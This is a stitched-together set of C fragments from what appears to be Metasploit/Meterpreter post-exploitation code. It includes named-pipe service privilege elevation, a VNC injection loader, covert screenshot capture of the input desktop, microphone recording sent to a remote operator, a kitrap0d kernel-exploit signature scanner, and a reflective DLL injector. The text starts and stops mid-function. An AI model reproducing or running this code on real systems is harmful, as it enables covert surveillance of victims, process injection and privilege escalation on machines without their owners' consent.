return value for service_start as we expect it to fail as cmd.exe is not // a valid service and it will never signal to the service manager that is is a running service. service_start(cpServiceName); } // signal our thread to terminate if it is still running thread_sigterm(pThread); // and wait for it to terminate... thread_join(pThread); // get the exit code for our pthread dprintf("[ELEVATE] dwResult before exit code: %u", dwResult); if (!GetExitCodeThread(pThread->handle, &dwResult)) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. GetExitCodeThread failed", ERROR_INVALID_HANDLE); } dprintf("[ELEVATE] dwResult after exit code: %u", dwResult); } while (0);
/* * A thread to pick up any messages being posted back to the loader (such as an encoder change in the stream) */ DWORD WINAPI context_message_thread( LPVOID lpParameter ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hServerPipe = NULL; BYTE * pBuffer = NULL; char cNamedPipe[MAX_PATH] = {0}; __try { do { _snprintf_s( cNamedPipe, MAX_PATH, MAX_PATH - 1, "\\\\.\\pipe\\%08X", AgentContext.dwPipeName ); dprintf("[LOADER] loader_message_thread. cNamedPipe=%s", cNamedPipe ); hServerPipe = CreateNamedPipe( cNamedPipe, PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0, 0, 0, NULL ); if( !hServerPipe ) BREAK_ON_ERROR( "[LOADER] loader_message_thread. CreateNamedPipe failed" ); while( TRUE ) { struct _hdr { DWORD dwMessage; DWORD dwLength; } header = {0}; DWORD dwTotal = 0; if( !ConnectNamedPipe( hServerPipe, NULL ) ) { if( GetLastError() != ERROR_PIPE_CONNECTED ) continue; } dwTotal = _readexact( hServerPipe, 8, (BYTE *)&header ); if( dwTotal != sizeof( struct _hdr ) ) BREAK_WITH_ERROR( "[LOADER] loader_message_thread. _readexact header failed", ERROR_INVALID_HANDLE ); pBuffer = (BYTE *)malloc( header.dwLength ); if( !pBuffer ) BREAK_WITH_ERROR( "[LOADER] loader_message_thread. pBuffer malloc failed", ERROR_INVALID_HANDLE ); dwTotal = _readexact( hServerPipe, header.dwLength, pBuffer ); if( dwTotal != header.dwLength ) BREAK_WITH_ERROR( "[LOADER] loader_message_thread. _readexact pBuffer failed", ERROR_INVALID_HANDLE ); DisconnectNamedPipe( hServerPipe ); switch( header.dwMessage ) { case MESSAGE_SETENCODING: if( header.dwLength != sizeof(DWORD) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODING, not enought data (got %d bytes)", header.dwLength ); break; } AgentContext.dwEncoding = *(DWORD *)pBuffer; dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODING, new encoding is %d", AgentContext.dwEncoding ); break; case MESSAGE_SETPIXELFORMAT: if( header.dwLength != sizeof(PIXELFORMAT) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETPIXELFORMAT, not enought data (got %d bytes)", header.dwLength ); break; } memcpy( &AgentContext.PixelFormat, pBuffer, sizeof(PIXELFORMAT) ); dprintf("[LOADER] loader_message_thread. MESSAGE_SETPIXELFORMAT" ); break; case MESSAGE_SETCOMPRESSLEVEL: if( header.dwLength != sizeof(DWORD) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOMPRESSLEVEL, not enought data (got %d bytes)", header.dwLength ); break; } AgentContext.dwCompressLevel = *(DWORD *)pBuffer; dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOMPRESSLEVEL, new compress level is %d", AgentContext.dwCompressLevel ); break; case MESSAGE_SETQUALITYLEVEL: if( header.dwLength != sizeof(DWORD) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETQUALITYLEVEL, not enought data (got %d bytes)", header.dwLength ); break; } AgentContext.dwQualityLevel = *(DWORD *)pBuffer; dprintf("[LOADER] loader_message_thread. MESSAGE_SETQUALITYLEVEL, new quality level is %d", AgentContext.dwQualityLevel ); break; case MESSAGE_SETCOPYRECTUSE: if( header.dwLength != sizeof(BOOL) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOPYRECTUSE, not enought data (got %d bytes)", header.dwLength ); break; } AgentContext.bUseCopyRect = *(BOOL *)pBuffer; dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOPYRECTUSE, new bUseCopyRect is %d", AgentContext.bUseCopyRect ); break; case MESSAGE_SETENCODINGRICHCURSOR: if( header.dwLength != sizeof(BOOL) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGRICHCURSOR, not enought data (got %d bytes)", header.dwLength ); break; } AgentContext.bEncodingRichCursor = *(BOOL *)pBuffer; dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGRICHCURSOR, new dwEncodingRichCursor is %d", AgentContext.bEncodingRichCursor ); break; case MESSAGE_SETENCODINGPOINTERPOS: if( header.dwLength != sizeof(BOOL) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGPOINTERPOS, not enought data (got %d bytes)", header.dwLength ); break; } AgentContext.bEncodingPointerPos = *(BOOL *)pBuffer; dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGPOINTERPOS, new dwEncodingPointerPos is %d", AgentContext.bEncodingPointerPos ); break; case MESSAGE_SETENCODINGLASTRECT: if( header.dwLength != sizeof(BOOL) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGLASTRECT, not enought data (got %d bytes)", header.dwLength ); break; } AgentContext.bEncodingLastRect = *(BOOL *)pBuffer; dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGLASTRECT, new dwEncodingLastRect is %d", AgentContext.bEncodingLastRect ); break; case MESSAGE_SETENCODINGNEWFBSIZE: if( header.dwLength != sizeof(BOOL) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGNEWFBSIZE, not enought data (got %d bytes)", header.dwLength ); break; } AgentContext.bEncodingNewfbSize = *(BOOL *)pBuffer; dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGNEWFBSIZE, new bEncodingNewfbSize is %d", AgentContext.bEncodingNewfbSize ); break; case MESSAGE_SETENCODINGXCURSOR: if( header.dwLength != sizeof(BOOL) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGXCURSOR, not enought data (got %d bytes)", header.dwLength ); break; } AgentContext.bEncodingXCursor = *(BOOL *)pBuffer; dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGXCURSOR, new bEncodingXCursor is %d", AgentContext.bEncodingXCursor ); break; /* case MESSAGE_SETZLIBDICTIONARY: if( header.dwLength < sizeof(DICTMSG) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, not enought data (got %d bytes)", header.dwLength ); break; } else { DICTMSG * dmsg = (DICTMSG *)pBuffer; if( dmsg->dwId > 4 ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, invalid id (got %d)", dmsg->dwId ); break; } if( AgentContext.dictionaries[dmsg->dwId] ) free( AgentContext.dictionaries[dmsg->dwId] ); AgentContext.dictionaries[dmsg->dwId] = (DICTMSG *)malloc( sizeof(DICTMSG) + dmsg->dwDictLength ); if( !AgentContext.dictionaries[dmsg->dwId] ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, malloc failed" ); break; } AgentContext.dictionaries[dmsg->dwId]->dwId = dmsg->dwId; AgentContext.dictionaries[dmsg->dwId]->dwDictLength = dmsg->dwDictLength; memcpy( &AgentContext.dictionaries[dmsg->dwId]->bDictBuffer, &dmsg->bDictBuffer, dmsg->dwDictLength ); dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, id=%d, length=%d", dmsg->dwId, dmsg->dwDictLength ); } break; */ default: dprintf("[LOADER] loader_message_thread. Unknown message 0x%08X", header.dwMessage ); break; } if( pBuffer ) { free( pBuffer ); pBuffer = NULL; } } } while( 0 ); } __except( EXCEPTION_EXECUTE_HANDLER ) { dprintf( "[LOADER] loader_message_thread. EXCEPTION_EXECUTE_HANDLER\n\n" ); } dprintf("[LOADER] loader_message_thread. thread finishing..."); if( hServerPipe ) { DisconnectNamedPipe( hServerPipe ); CLOSE_HANDLE( hServerPipe ); } if( pBuffer ) free( pBuffer ); return dwResult; }
/* * Take a screenshot of this sessions default input desktop on WinSta0 * and send it as a JPEG image to a named pipe. */ DWORD screenshot( int quality, DWORD dwPipeName ) { DWORD dwResult = ERROR_ACCESS_DENIED; HWINSTA hWindowStation = NULL; HWINSTA hOrigWindowStation = NULL; HDESK hInputDesktop = NULL; HDESK hOrigDesktop = NULL; HWND hDesktopWnd = NULL; HDC hdc = NULL; HDC hmemdc = NULL; HBITMAP hbmp = NULL; BYTE * pJpegBuffer = NULL; OSVERSIONINFO os = {0}; char cNamedPipe[MAX_PATH] = {0}; // If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display. int xmetric = SM_CXVIRTUALSCREEN; int ymetric = SM_CYVIRTUALSCREEN; DWORD dwJpegSize = 0; int sx = 0; int sy = 0; do { _snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName ); os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); if( !GetVersionEx( &os ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot: GetVersionEx failed" ) // On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN. if( os.dwMajorVersion <= 4 ) { xmetric = SM_CXSCREEN; ymetric = SM_CYSCREEN; } // open the WinSta0 as some services are attached to a different window station. hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); if( !hWindowStation ) { if( RevertToSelf() ) hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); } // if we cant open the defaut input station we wont be able to take a screenshot if( !hWindowStation ) BREAK_WITH_ERROR( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE ); // get the current process's window station so we can restore it later on. hOrigWindowStation = GetProcessWindowStation(); // set the host process's window station to this sessions default input station we opened if( !SetProcessWindowStation( hWindowStation ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" ); // grab a handle to the default input desktop (e.g. Default or WinLogon) hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED ); if( !hInputDesktop ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot: OpenInputDesktop failed" ); // get the threads current desktop so we can restore it later on hOrigDesktop = GetThreadDesktop( GetCurrentThreadId() ); // set this threads desktop to that of this sessions default input desktop on WinSta0 SetThreadDesktop( hInputDesktop ); // and now we can grab a handle to this input desktop hDesktopWnd = GetDesktopWindow(); // and get a DC from it so we can read its pixels! hdc = GetDC( hDesktopWnd ); if( !hdc ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. GetDC failed" ); // back up this DC with a memory DC hmemdc = CreateCompatibleDC( hdc ); if( !hmemdc ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleDC failed" ); // calculate the width and height sx = GetSystemMetrics( xmetric ); sy = GetSystemMetrics( ymetric ); // and create a bitmap hbmp = CreateCompatibleBitmap( hdc, sx, sy ); if( !hbmp ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleBitmap failed" ); // this bitmap is backed by the memory DC if( !SelectObject( hmemdc, hbmp ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" ); // BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, 0, 0, SRCCOPY ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. BitBlt failed" ); // finally convert the BMP we just made into a JPEG... if( bmp2jpeg( hbmp, hmemdc, quality, &pJpegBuffer, &dwJpegSize ) != 1 ) BREAK_WITH_ERROR( "[SCREENSHOT] screenshot. bmp2jpeg failed", ERROR_INVALID_HANDLE ); // we have succeded dwResult = ERROR_SUCCESS; } while( 0 ); // if we have successfully taken a screenshot we send it back via the named pipe // but if we have failed we send back a zero byte result to indicate this failure. if( dwResult == ERROR_SUCCESS ) screenshot_send( cNamedPipe, pJpegBuffer, dwJpegSize ); else screenshot_send( cNamedPipe, NULL, 0 ); if( hdc ) ReleaseDC( hDesktopWnd, hdc ); if( hmemdc ) DeleteDC( hmemdc ); if( hbmp ) DeleteObject( hbmp ); // free the jpeg images buffer if( pJpegBuffer ) free( pJpegBuffer ); // restore the origional process's window station if( hOrigWindowStation ) SetProcessWindowStation( hOrigWindowStation ); // restore the threads origional desktop if( hOrigDesktop ) SetThreadDesktop( hOrigDesktop ); // close the WinSta0 window station handle we opened if( hWindowStation ) CloseWindowStation( hWindowStation ); // close this last to avoid a handle leak... if( hInputDesktop ) CloseDesktop( hInputDesktop ); return dwResult; }
/* * A pre injection hook called before our dll has been injected into a process. */ DWORD loader_inject_pre( DWORD dwPid, HANDLE hProcess, char * cpCommandLine ) { DWORD dwResult = ERROR_SUCCESS; LPVOID lpMemory = NULL; AGENT_CTX RemoteAgentContext = {0}; int i = 0; do { if( !hProcess || !cpCommandLine ) BREAK_WITH_ERROR( "[LOADER] loader_inject_pre. !hProcess || !cpCommandLine", ERROR_INVALID_PARAMETER ); // Use User32!WaitForInputIdle to slow things down so if it's a new // process (like a new winlogon.exe) it can have a chance to initilize... // Bad things happen if we inject into an uninitilized process. WaitForInputIdle( hProcess, 10000 ); CLOSE_HANDLE( hAgentCloseEvent ); CLOSE_HANDLE( hAgentProcess ); memcpy( &RemoteAgentContext, &AgentContext, sizeof(AGENT_CTX) ); hAgentCloseEvent = CreateMutex( NULL, TRUE, NULL ); if( !hAgentCloseEvent ) BREAK_ON_ERROR( "[LOADER] loader_inject_pre. CreateEvent hAgentCloseEvent failed" ); if( !DuplicateHandle( GetCurrentProcess(), hAgentCloseEvent, hProcess, &RemoteAgentContext.hCloseEvent, 0, FALSE, DUPLICATE_SAME_ACCESS ) ) BREAK_ON_ERROR( "[LOADER] loader_inject_pre. DuplicateHandle hAgentCloseEvent failed" ) dprintf( "[LOADER] WSADuplicateSocket for sock=%d", sock ); // Duplicate the socket for the target process if( WSADuplicateSocket( sock, dwPid, &RemoteAgentContext.info ) != NO_ERROR ) BREAK_ON_WSAERROR( "[LOADER] WSADuplicateSocket failed" ) // Allocate memory for the migrate stub, context and payload lpMemory = VirtualAllocEx( hProcess, NULL, sizeof(AGENT_CTX), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !lpMemory ) BREAK_ON_ERROR( "[LOADER] VirtualAllocEx failed" ) /*for( i=0 ; i<4 ; i++ ) { DWORD dwSize = 0; if( !AgentContext.dictionaries[i] ) continue; dwSize = ( sizeof(DICTMSG) + AgentContext.dictionaries[i]->dwDictLength ); RemoteAgentContext.dictionaries[i] = VirtualAllocEx( hProcess, NULL, dwSize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !RemoteAgentContext.dictionaries[i] ) continue; if( !WriteProcessMemory( hProcess, RemoteAgentContext.dictionaries[i], AgentContext.dictionaries[i], dwSize, NULL ) ) RemoteAgentContext.dictionaries[i] = NULL; }*/ // Write the ctx to memory... if( !WriteProcessMemory( hProcess, lpMemory, &RemoteAgentContext, sizeof(AGENT_CTX), NULL ) ) BREAK_ON_ERROR( "[MIGRATE] WriteProcessMemory 1 failed" ) hAgentProcess = hProcess; _snprintf( cpCommandLine, COMMANDLINE_LENGTH, "/v /c:0x%08X", lpMemory ); } while( 0 ); if( dwResult != ERROR_SUCCESS ) { dprintf( "[LOADER] loader_inject_pre. CLOSE_HANDLE( hAgentCloseEvent );" ); CLOSE_HANDLE( hAgentCloseEvent ); } return dwResult; }
/* * Post an arbitrary message back to a loader. */ DWORD vncdll_postmessage( AGENT_CTX * lpAgentContext, DWORD dwMessage, BYTE * pDataBuffer, DWORD dwDataLength ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hPipe = NULL; BYTE * pBuffer = NULL; char cNamedPipe[MAX_PATH] = {0}; DWORD dwWritten = 0; DWORD dwLength = 0; do { if( !lpAgentContext ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. invalid parameters", ERROR_INVALID_PARAMETER ); dwLength = sizeof(DWORD) + sizeof(DWORD) + dwDataLength; pBuffer = (BYTE *)malloc( dwLength ); if( !pBuffer ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. pBuffer malloc failed", ERROR_INVALID_HANDLE ); memcpy( pBuffer, &dwMessage, sizeof(DWORD) ); memcpy( (pBuffer+sizeof(DWORD)), &dwDataLength, sizeof(DWORD) ); memcpy( (pBuffer+sizeof(DWORD)+sizeof(DWORD)), pDataBuffer, dwDataLength ); if( WaitForSingleObject( hMessageMutex, INFINITE ) != WAIT_OBJECT_0 ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. WaitForSingleObject failed", ERROR_INVALID_HANDLE ); _snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", lpAgentContext->dwPipeName ); dprintf("[VNCDLL] vncdll_postmessage. pipe=%s, message=0x%08X, length=%d", cNamedPipe, dwMessage, dwDataLength); while( TRUE ) { hPipe = CreateFileA( cNamedPipe, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL ); if( hPipe != INVALID_HANDLE_VALUE ) break; if( GetLastError() != ERROR_PIPE_BUSY ) BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. ERROR_PIPE_BUSY" ); if( !WaitNamedPipe( cNamedPipe, 20000 ) ) BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. WaitNamedPipe timedout" ); } if( dwResult == ERROR_SUCCESS ) { if( !WriteFile( hPipe, pBuffer, dwLength, &dwWritten, NULL ) ) BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. WriteFile dwMessage length failed" ); } } while( 0 ); CLOSE_HANDLE( hPipe ); if( pBuffer ) free( pBuffer ); ReleaseMutex( hMessageMutex ); return dwResult; }
/* * Record from default audio device for X seconds. */ DWORD request_ui_record_mic( Remote * remote, Packet * request ){ DWORD dwResult = ERROR_SUCCESS; Packet * response = NULL; HANDLE procHeap = GetProcessHeap(); UINT seconds; DWORD chunkSize; DWORD subChunk1Size; WAVEFORMATEX wavFormat; WAVEFORMATEX wf; HWAVEIN hWavIn; WAVEHDR wh; do{ response = packet_create_response( request ); if( !response ) BREAK_WITH_ERROR( "request_ui_record_mic: packet_create_response failed", ERROR_INVALID_HANDLE ) //Get duration to record, and reallocate if necessary seconds = packet_get_tlv_value_uint(request, TLV_TYPE_AUDIO_DURATION); if( buffersize == 0 || buffersize != 11025 * seconds){ buffersize = 11025 * seconds; riffsize = buffersize + 44; if (recordBuffer != NULL) HeapFree(procHeap, 0, recordBuffer); recordBuffer = (PBYTE)HeapAlloc(procHeap, HEAP_ZERO_MEMORY, buffersize); if (sendBuffer != NULL) HeapFree(sendBuffer, 0, recordBuffer); sendBuffer = (PBYTE)HeapAlloc(procHeap, HEAP_ZERO_MEMORY, riffsize); if (recordBuffer == NULL || sendBuffer == NULL) BREAK_WITH_ERROR("request_ui_record_mic: Allocation failed", GetLastError()) dataBuffer = sendBuffer + 44; } //Create file header memcpy(sendBuffer, "RIFF", 4); chunkSize = buffersize + 36; memcpy(sendBuffer+4, &chunkSize, 4); memcpy(sendBuffer+8, "WAVE", 4); //Subchunk1 memcpy(sendBuffer+12, "fmt ", 4); subChunk1Size = 16; memcpy(sendBuffer+16, &subChunk1Size, 4); wavFormat.wFormatTag = 1; wavFormat.nChannels = 1; wavFormat.nSamplesPerSec = 11025; wavFormat.nAvgBytesPerSec = 11025; wavFormat.nBlockAlign = 1; wavFormat.wBitsPerSample = 8; memcpy(sendBuffer+20, &wavFormat, 16); //Subchunk 2 memcpy(sendBuffer+36, "data", 4); memcpy(sendBuffer+40, &buffersize, 4); // Set up WAVEFORMATEX for recording 11 kHz 8-bit mono. Not reusing wavFormat because this uses the cbSize member wf.wFormatTag = WAVE_FORMAT_PCM; wf.nChannels = 1; wf.nSamplesPerSec = 11025L; wf.nAvgBytesPerSec = 11025L; wf.nBlockAlign = 1; wf.wBitsPerSample = 8; wf.cbSize = 0; dwResult = (DWORD)waveInOpen(&hWavIn, WAVE_MAPPER, &wf, (DWORD_PTR)&waveInProc, (DWORD_PTR)NULL, CALLBACK_FUNCTION); if(dwResult != MMSYSERR_NOERROR) BREAK_WITH_ERROR("request_ui_record_mic: WaveInOpen failed", dwResult) //Open failed wh.lpData = (LPSTR)recordBuffer; wh.dwBufferLength = buffersize; wh.dwFlags = 0; waveInPrepareHeader(hWavIn, &wh, sizeof(wh)); waveInAddBuffer(hWavIn, &wh, sizeof(wh)); recordMicEvent = CreateEvent( NULL, // default security attributes FALSE, // auto-reset event FALSE, // initial state is nonsignaled NULL); // no object name dwResult = (DWORD)waveInStart(hWavIn); if(dwResult != MMSYSERR_NOERROR) BREAK_WITH_ERROR("request_ui_record_mic: WaveInStart failed", dwResult) WaitForSingleObject(recordMicEvent, seconds * 1000 + 1000); dwResult = (DWORD)waveInStop(hWavIn);//seems to wait for buffer to complete if(dwResult != MMSYSERR_NOERROR) BREAK_WITH_ERROR("request_ui_record_mic: WaveInStop failed", dwResult) packet_add_tlv_raw(response, (TlvType)(TLV_TYPE_AUDIO_DATA|TLV_META_TYPE_COMPRESSED), sendBuffer, riffsize); } while( 0 ); packet_transmit_response( dwResult, remote, response ); return ERROR_SUCCESS; }
/* * Writes data from the remote half of the channel to the established connection. */ DWORD tcp_channel_client_write( Channel *channel, Packet *request, LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten) { DWORD dwResult = ERROR_SUCCESS; TcpClientContext * ctx = NULL; LONG written = 0; do { dprintf( "[TCP] tcp_channel_client_write. channel=0x%08X, buffsize=%d", channel, bufferSize ); ctx = (TcpClientContext *)context; if( !ctx ) BREAK_WITH_ERROR( "[TCP] tcp_channel_client_write. ctx == NULL", ERROR_INVALID_HANDLE ); written = send( ctx->fd, buffer, bufferSize, 0 ); if( written == SOCKET_ERROR ) { dwResult = WSAGetLastError(); if( dwResult == WSAEWOULDBLOCK ) { struct timeval tv = {0}; fd_set set = {0}; DWORD res = 0; dprintf( "[TCP] tcp_channel_client_write. send returned WSAEWOULDBLOCK, waiting until we can send again..." ); while( TRUE ) { tv.tv_sec = 0; tv.tv_usec = 1000; FD_ZERO( &set ); FD_SET( ctx->fd, &set ); res = select( 0, NULL, &set, NULL, &tv ); if( res > 0 ) { dwResult = ERROR_SUCCESS; break; } else if( res == SOCKET_ERROR ) { dwResult = WSAGetLastError(); break; } Sleep( 100 ); } if( dwResult == ERROR_SUCCESS ) continue; else dprintf( "[TCP] tcp_channel_client_write. select == SOCKET_ERROR. dwResult=%d", dwResult ); } written = 0; dprintf( "[TCP] tcp_channel_client_write. written == SOCKET_ERROR. dwResult=%d", dwResult ); } if( bytesWritten ) *bytesWritten = written; } while( 0 ); dprintf( "[TCP] tcp_channel_client_write. finished. dwResult=%d, written=%d", dwResult, written ); return dwResult; }
/* * Scan the appropriate kernel image for the correct offset */ BOOL kitrap0d_scan_kernel( PDWORD KernelBase, PDWORD OffsetFromBase ) { DWORD dwResult = ERROR_SUCCESS; FARPROC NtQuerySystemInformation = NULL; HMODULE hKernel = NULL; HMODULE hNtdll = NULL; PIMAGE_DOS_HEADER DosHeader = NULL; PIMAGE_NT_HEADERS PeHeader = NULL; PIMAGE_OPTIONAL_HEADER OptHeader = NULL; PBYTE ImageBase = NULL; HKEY MmHandle = NULL; OSVERSIONINFO os = {0}; SYSTEM_MODULE_INFORMATION ModuleInfo = {0}; DWORD PhysicalAddressExtensions = 0; DWORD DataSize = 0; ULONG i = 0; ULONG x = 0; // List of versions we have code signatures for. enum { MICROSOFT_WINDOWS_NT4 = 0, MICROSOFT_WINDOWS_2000 = 1, MICROSOFT_WINDOWS_XP = 2, MICROSOFT_WINDOWS_2003 = 3, MICROSOFT_WINDOWS_VISTA = 4, MICROSOFT_WINDOWS_2008 = 5, MICROSOFT_WINDOWS_7 = 6, } Version = MICROSOFT_WINDOWS_7; do { hNtdll = GetModuleHandle("ntdll"); if( !hNtdll ) BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE ); // NtQuerySystemInformation can be used to find kernel base address NtQuerySystemInformation = GetProcAddress( hNtdll, "NtQuerySystemInformation" ); if( !NtQuerySystemInformation ) BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE ); // Determine kernel version so that the correct code signature is used os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); if( !GetVersionEx( &os ) ) BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed" ); dprintf( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion); if( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 ) Version = MICROSOFT_WINDOWS_NT4; if( os.dwMajorVersion == 5 && os.dwMinorVersion == 0 ) Version = MICROSOFT_WINDOWS_2000; if( os.dwMajorVersion == 5 && os.dwMinorVersion == 1 ) Version = MICROSOFT_WINDOWS_XP; if( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 ) Version = MICROSOFT_WINDOWS_2003; if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 ) Version = MICROSOFT_WINDOWS_VISTA; if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 ) Version = MICROSOFT_WINDOWS_2008; if( os.dwMajorVersion == 6 && os.dwMinorVersion == 1 ) Version = MICROSOFT_WINDOWS_7; // Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address NtQuerySystemInformation( SystemModuleInformation, &ModuleInfo, sizeof( ModuleInfo ), NULL ); dprintf( "[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base ); // Load the kernel image specified hKernel = LoadLibrary( strrchr( ModuleInfo.Module[0].ImageName, '\\' ) + 1 ); if( !hKernel ) BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed" ); // Parse image headers *KernelBase = (DWORD)ModuleInfo.Module[0].Base; ImageBase = (PBYTE)hKernel; DosHeader = (PIMAGE_DOS_HEADER)ImageBase; PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew); OptHeader = &PeHeader->OptionalHeader; dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version ); for( x=0 ; ; x++ ) { if( CodeSignatures[x].Version == -1 ) break; if( CodeSignatures[x].Version != Version ) continue; dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x ); // Scan for the appropriate signature... for( i = OptHeader->BaseOfCode ; i < OptHeader->SizeOfCode ; i++ ) { if( memcmp( &ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature ) == 0 ) { dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i ); *OffsetFromBase = i; FreeLibrary( hKernel ); return TRUE; } } } } while( 0 ); dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel" ); if( hKernel ) FreeLibrary( hKernel ); return FALSE; }
// Simple app to inject a reflective DLL into a process vis its process ID. int main( int argc, char * argv[] ) { HANDLE hFile = NULL; HANDLE hModule = NULL; HANDLE hProcess = NULL; HANDLE hToken = NULL; LPVOID lpBuffer = NULL; DWORD dwLength = 0; DWORD dwBytesRead = 0; DWORD dwProcessId = 0; TOKEN_PRIVILEGES priv = {0}; #ifdef WIN_X64 char * cpDllFile = "reflective_dll.x64.dll"; #else #ifdef WIN_X86 char * cpDllFile = "reflective_dll.dll"; #else WIN_ARM char * cpDllFile = "reflective_dll.arm.dll"; #endif #endif do { // Usage: inject.exe [pid] [dll_file] if( argc == 1 ) dwProcessId = GetCurrentProcessId(); else dwProcessId = atoi( argv[1] ); if( argc >= 3 ) cpDllFile = argv[2]; hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if( hFile == INVALID_HANDLE_VALUE ) BREAK_WITH_ERROR( "Failed to open the DLL file" ); dwLength = GetFileSize( hFile, NULL ); if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); if( !lpBuffer ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); CloseHandle( hToken ); } hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); if( !hProcess ) BREAK_WITH_ERROR( "Failed to open the target process" ); hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); if( !hModule ) BREAK_WITH_ERROR( "Failed to 